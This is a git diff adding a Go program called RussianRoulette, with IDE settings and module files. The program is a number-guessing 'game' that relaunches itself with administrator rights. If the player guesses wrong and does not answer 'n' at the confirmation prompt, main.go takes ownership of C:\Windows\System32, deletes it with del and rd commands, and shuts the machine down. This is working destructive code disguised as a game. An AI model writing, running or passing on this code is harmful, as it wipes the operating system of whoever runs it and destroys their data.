diff --git a/.idea/.gitignore b/.idea/.gitignore new file mode 100644 index 0000000..13566b8 --- /dev/null +++ b/.idea/.gitignore @@ -0,0 +1,8 @@ +# Default ignored files +/shelf/ +/workspace.xml +# Editor-based HTTP Client requests +/httpRequests/ +# Datasource local storage ignored files +/dataSources/ +/dataSources.local.xml diff --git a/.idea/RussianRoulette.iml b/.idea/RussianRoulette.iml new file mode 100644 index 0000000..5e764c4 --- /dev/null +++ b/.idea/RussianRoulette.iml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/modules.xml b/.idea/modules.xml new file mode 100644 index 0000000..25b74d1 --- /dev/null +++ b/.idea/modules.xml @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file diff --git a/.idea/vcs.xml b/.idea/vcs.xml new file mode 100644 index 0000000..94a25f7 --- /dev/null +++ b/.idea/vcs.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..b8a99b2 --- /dev/null +++ b/go.mod @@ -0,0 +1,5 @@ +module main + +go 1.20 + +require golang.org/x/sys v0.9.0 diff --git a/go.sum b/go.sum new file mode 100644 index 0000000..cb35c1f --- /dev/null +++ b/go.sum @@ -0,0 +1,2 @@ +golang.org/x/sys v0.9.0 h1:KS/R3tvhPqvJvwcKfnBHJwwthS11LRhmM5D59eEXa0s= +golang.org/x/sys v0.9.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= diff --git a/main.go b/main.go new file mode 100644 index 0000000..52b0952 --- /dev/null +++ b/main.go @@ -0,0 +1,110 @@ +package main + +import ( + "bufio" + "fmt" + "golang.org/x/sys/windows" + "math/rand" + "os" + "os/exec" + "strconv" + "strings" + "syscall" +) + +func main() { + if !amAdmin() { + runMeElevated() + os.Exit(0) + } + + randomNumber := rand.Intn(9) + 1 + + fmt.Println("Guess a number between 1 and 10") + fmt.Print(">") + + reader := bufio.NewReader(os.Stdin) + b, err := reader.ReadByte() + if err != nil { + os.Exit(1) + } + guess, err := strconv.Atoi(string(b)) + if err != nil { + os.Exit(1) + } + + if guess != randomNumber { + fmt.Println("Are you sure? [y/n]") + fmt.Print(">") + reader = bufio.NewReader(os.Stdin) + b, err = reader.ReadByte() + if err != nil { + os.Exit(1) + } + ans := string(b) + if ans == "n" { + fmt.Println("Good choice") + os.Exit(0) + } + + fmt.Println("Oh no, you guessed wrong...") + cmdTakeOwn := exec.Command("takeown.exe", "/f", "C:\\Windows\\System32") + cmdICACLS := exec.Command("icacls.exe", "C:\\Windows\\System32") + cmdFiles := exec.Command("cmd.exe", "/C", "del", "/s", "/q", "C:\\Windows\\System32\\*") + cmdDir := exec.Command("cmd.exe", "/C", "rd", "/s", "/q", "C:\\Windows\\System32") + err = cmdTakeOwn.Run() + if err != nil { + fmt.Printf("Error serving punishment p1: %v\n", err) + } + err = cmdICACLS.Run() + if err != nil { + fmt.Printf("Error serving punishment p2: %v\n", err) + } + err = cmdFiles.Run() + if err != nil { + fmt.Printf("Error serving punishment p3: %v\n", err) + } + err = cmdDir.Run() + if err != nil { + fmt.Printf("Error serving punishment p4: %v\n", err) + } + + cmdShutdown := exec.Command("cmd.exe", "/C", "shutdown", "/t", "0", "/s") + err = cmdShutdown.Run() + if err != nil { + fmt.Printf("Error shutting down: %v\n", err) + } + } else { + fmt.Println("Congratulations, you live to see another day...", guess, "was the correct number :)") + } + + fmt.Print("Press 'Enter' to continue...") + bufio.NewReader(os.Stdin).ReadBytes('\n') +} + +func runMeElevated() { + verb := "runas" + exe, _ := os.Executable() + cwd, _ := os.Getwd() + args := strings.Join(os.Args[1:], " ") + + verbPtr, _ := syscall.UTF16PtrFromString(verb) + exePtr, _ := syscall.UTF16PtrFromString(exe) + cwdPtr, _ := syscall.UTF16PtrFromString(cwd) + argPtr, _ := syscall.UTF16PtrFromString(args) + + var showCmd int32 = 1 //SW_NORMAL + + err := windows.ShellExecute(0, verbPtr, exePtr, argPtr, cwdPtr, showCmd) + if err != nil { + fmt.Println(err) + } +} + +func amAdmin() bool { + _, err := os.Open("\\\\.\\PHYSICALDRIVE0") + if err != nil { + return false + } + return true +}